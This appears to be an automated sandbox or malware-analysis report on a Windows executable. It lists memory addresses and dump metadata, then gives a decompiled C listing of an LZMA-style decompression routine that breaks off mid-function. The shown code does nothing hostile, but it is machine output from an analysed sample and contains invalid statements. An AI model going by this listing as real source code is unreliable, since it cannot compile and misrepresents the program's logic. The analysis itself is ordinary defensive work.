0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00406a5a
0x00406a60
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00406999
0x00000000
0x0040680e

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90b51789b68cdbba6ca9369e5ad938c532d61a1d7775d6d72ffdff9632d9f26
Instruction ID: c9a91825e94b1235ed1e5db661991067e3a312009d26920905f6c04b87fbb156
Opcode Fuzzy Hash: b90b51789b68cdbba6ca9369e5ad938c532d61a1d7775d6d72ffdff9632d9f26
Instruction Fuzzy Hash: 25913F71E00228CFDF28DFA8C8547ADBBB1FB44305F15816AD916BB291C3789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406520, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406520() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M00406A77))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
